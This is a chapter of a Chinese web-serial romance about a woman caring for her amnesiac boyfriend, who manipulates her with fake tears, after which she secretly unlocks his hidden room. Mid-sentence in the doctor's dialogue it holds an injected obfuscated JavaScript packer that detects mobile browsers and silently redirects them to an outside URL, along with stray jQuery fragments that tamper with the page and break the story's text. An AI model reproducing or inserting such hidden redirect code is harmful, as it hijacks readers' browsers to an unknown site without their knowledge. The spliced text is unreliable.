今天是邱言出出车祸后的第一个月。
“邱言，你好了吗？我们出发了。”时昔在玄关处扯着嗓子冲邱言的方向呼喊着。
今天同时也是邱言去医院复查的日子。
邱言的外伤肉眼可见地好转了，结痂脱落的地方长出了淡粉色的新肉。
可关于过去的记忆，似乎丝毫没有想起来的征兆。
她想趁着今天去复查看看邱言还有没有恢复记忆的可能性了。
邱言从房间门口慢慢悠悠出来，他头上扣着顶黑色鸭舌帽，帽檐压得低低的，遮住了额角尚未完全消退的疤痕，往下看他脸上还戴着浅蓝色口罩。
“好了，走吧。”他的声音透过口罩传出来，带着点闷闷的感觉。
他走到玄关，目光扫过时昔没戴口罩的脸，脚步顿了顿。
下一秒，时昔感觉脸颊被一片柔软的布料轻轻碰了碰，是邱言从兜里又摸出个口罩，仔细地帮她挂在耳后，指尖不经意擦过她的耳垂，带着微凉的温度。
“医院人多，戴上安全点。”
随后他很自然地伸出手，五指穿过时昔的指缝，牢牢握住。
没等时昔反应过来，他已经牵着她，脚步平稳地往门口走去，仿佛这样的牵手，本就是他们之间最寻常的习惯。
去医院的路上，时昔的目光无意间扫过邱言的领口，忽然顿住。
那条磨得有些发亮的钥匙项链，不知什么时候又被他挂回了脖子上。
“嗯？你脖子上怎么还挂着它？它到底是什么来历？”时昔忍不住伸手摸了摸邱言胸口前那把钥匙。
邱言目光停留在了她的手上，“我也不记得了。就是那天看到桌子上突然出现的，觉得……挺顺眼的，就戴起来了。”
时昔指尖还停留在那枚冰凉的钥匙上，她的声音里带着点漫不经心的笑意，“哦～我想起来了，这把钥匙你之前和我说好像是你前女友送给你的。”
他侧头看了时昔一眼，口罩上方的眼睛里闪过一丝茫然，“前女友……？”
见邱言此刻茫然的样子，她的兴致更高了。时昔的指尖在他胸口轻轻画圈，故意装起了可怜，“是啊～你当初还说你有多喜欢前女友呢。根本不喜欢我，和我只是玩玩。”
他闻言眼底的茫然迅速变成了着急，“我没说过。”
声音透过口罩传出来，带着点不易察觉的慌，“时昔，我没说过这种话。”
时昔觉得下一秒邱言可能就要急得哭出来了。
可她心里那点想逗逗他的心思更盛了，“怎么没有？你当时还说我只是她的替身呢。说等她一回来你就要和我分……”
话没说完，她就感觉到手上多了股湿意。
时昔抬头一看，邱言睁着那双湿漉漉的眼睛望着她，豆大的泪珠一颗颗顺着口罩的边缘滚落在她手上。
“我……我不会的。”他的声音发着颤，尾音都带上了哭腔。
他抬手，指尖有些慌乱地蹭了蹭眼角，却反而把泪水抹得更开了些。
平日里那双澄澈的眼睛此刻红通通的，像是受了天大的委屈，“时昔，我虽然不记得以前的事了，但我知道……我不会那样对你的。”
邱言抬头看着她，又落下了几颗泪珠，“我以为……这把钥匙是你送给我的，我才……才很喜欢，才戴上呜……”
时昔的指尖僵在他胸口，刚才那点逗逗他的心思瞬间烟消云散，只剩下满满的慌乱。
“我……我跟你开玩笑呢。”她赶紧收回蹭着钥匙的手，笨拙地想用手去擦他的眼泪，“你别哭啊，邱言，我不是故意的……”
邱言却轻轻偏了偏头，躲开了她的手，只是低着头，肩膀微微耸动着，似乎是在极力压抑自己的哭声。
时昔最见不得有人对自己示弱，简单来说就是她太心软。
现在的邱言仿佛轻轻一碰就要碎了，她此刻在懊恼怎么就玩上瘾了。
“那你下次能别用这种话题开玩笑吗？我不喜欢……”邱言还是侧着头，不让她看他。
时昔看着他这副模样，心里后悔的要命，连忙点头，“不开了不开了，以后都不开了。你别难过了好不好……”
车窗上印出此时两人的身影，谁也没注意到邱言藏在口罩后的嘴角，悄悄扬起一个得逞的弧度。
果然，这招百试百灵。
到了医院门口，两人才结束了尴尬且微妙的氛围。
“邱睦国际医院……”时昔念着医院的logo，总觉得这个名字有点耳熟，感觉在哪听过。
她记得邱家似乎也有投资一个医院，名字叫什么她忘记了，但总感觉就像是这个邱睦国际医院。
时昔回头看着邱言，询问道：“这家医院是不是你们家注资起来的？我总感觉有点印象。”
邱言摇摇头，耸了耸肩，“不清楚，大概是吧。我也忘记了。”
也是，他现在什么都不记得。
前两天时昔还给邱言看了邱家人的照片，邱言全是回答不认识。
连自己的爸妈长什么样都不记得了，更别提记得家里注资的项目有什么了。
时昔没再多想，拉着邱言往里面走。
她也没有想太多，毕竟这个在她眼里也不是很重要的事。
诊室内。
“嗯？怎么换医生了，邱言上次的那个主治医生呢？”时昔看着医生的工牌，愣了愣，心道医院人口流动这么快吗？
医生停下了此刻敲键盘的动作，抬眼看向两人，推了推鼻梁上的眼镜，“那个医生离职了，我是邱言新的主治医生范博鑫。请坐吧。”
时昔目光在这位新来的范医生打量着，总感觉他有点眼熟，但自己死活想不起来自己在哪见过他。
邱言给时昔从一旁拉来了凳子，自己坐在了时昔的旁边。
范医生对着电脑认真看起了就诊记录和病例，随后起身对着邱言说道：“邱先生，你先躺在床上，我来给你检查一下外伤的恢复情况。”
邱言依言躺下，抬手摘掉了鸭舌帽。
额角那道疤痕在诊室的白光下看得更清，淡粉色的新肉边缘还泛着点红。
范博鑫伸手轻轻按了按他的额头，指尖带着医用橡胶手套特有的微凉，“这里疼吗？”
“不疼。”邱言的声音很平静。
他又检查了身上其他地方的擦伤，“恢复得不错，结痂都掉干净了，就是新肉嫩，别总蹭着。”
时昔在旁边看着，心里松了口气，刚想问问记忆的事，就听范博鑫忽然开口，“对了，邱先生，你这几天睡眠怎么样？有没有头痛或者头晕的情况？”
“睡得还行，偶尔会做梦，但记不清梦到什么。头不疼，就是有时候看东西会突然发懵。”
范博鑫点点头，对着电脑敲下了新的病例，“这是脑震荡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406614|184502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后的正常反应，别急。”
他顿了顿，抬眼看向时昔，“家属平时多注意着点，别让他过度劳累，也别给太大精神压力。”
时昔连忙应下，“好的好的。”
检查完外伤，范博鑫调出脑部CT的片子，指着上面的灰白色纹路说：“颅内情况很稳定，之前的血肿已经吸收得差不多了。至于记忆……”
他喝了口杯子里的水，语气放缓了些，“从影像上看没有器质性损伤，恢复的可能性是有的，但时间不好说。”
时昔的心又提了起来，“那……有没有什么办法能帮他快点想起来？”
范博鑫笑了笑，“急不来的，可以多带他去以前常去的地方，看些熟悉的东西，或许能刺激记忆点。但千万别强迫，情绪波动对恢复没好处。”
时昔没接话，心里像被什么东西堵着。
她偷偷看邱言，发现他正望着天花板发呆，不知道在想什么。
检查结束，范博鑫在病历本上签字后递过来，“下月初再来复查。药还按之前的剂量吃，要是有不舒服随时来急诊。”
“谢谢医生。”时昔接过本子，拉着邱言站起来。
出了诊室，时昔总觉得不对劲。
她拽了拽邱言的袖子，“你觉不觉得那个范医生……有点怪？”
邱言笑了笑，伸手揉了揉她的头发，“你想多了。医生看病人，眼神不都那样？”
从医院回来后，邱言洗过澡就在沙发上看两人之前那少的可怜的合照。
“怎么突然在看这个？”时昔从饮水机接了杯温水递给他。
他接过杯子，眉头紧锁，“我想快点想起之前的事。”
时昔轻轻拍了拍他的背，安抚道：“医生也不是说了吗？不用太着急，太着急反而不好。”
邱言抬头看着她，眼底充满了茫然无措，“我想下楼去买个东西，转换一下心情。”
“买什么？我点个外卖送上来就行。”
他摇摇头，“我想自己去走走，看看能不能想起点什么。医生不是说，熟悉的环境可能有帮助吗？”
时昔没忍心拒绝，“那去吧，早点回来。”
门关上的瞬间，时昔的目光就落在了那枚钥匙上。
那是邱言洗澡时脱下来忘记戴上的。
这一个月，邱言对这把钥匙的在意藏都藏不住。洗澡时要摘下来放在显眼处，睡觉前会摸一摸才关灯，今天甚至为了它红了眼眶。
一个连自己爸妈都记不清的人，却对一把钥匙如此上心，这里面一定有猫腻。
之前她曾故意提议给那间角落里的房间换把锁，好让杂物有地方放。
也被他严词拒绝，说里面杂物很多，也放不下其他东西了。
她更加怀疑那个房间的真实用途了。
一个杂物间，为什么要这么抵触她进去甚至他也常常目光盯着那间房间，好像里面藏着巨大的秘密似的。
时昔捏着钥匙，那锁孔的形状，和这钥匙似乎隐隐能对上。
心里有个声音一直在怂恿她：就去看一眼，看一眼里面到底有什么。之后再放回去，他不会知道的。
这么想着，她就已经神不知鬼不觉走到了房间门口。
时昔深吸了一口气，把钥匙插了进去。
“咔哒”一声轻响，锁开了。
果然，这就是这间房间的钥匙。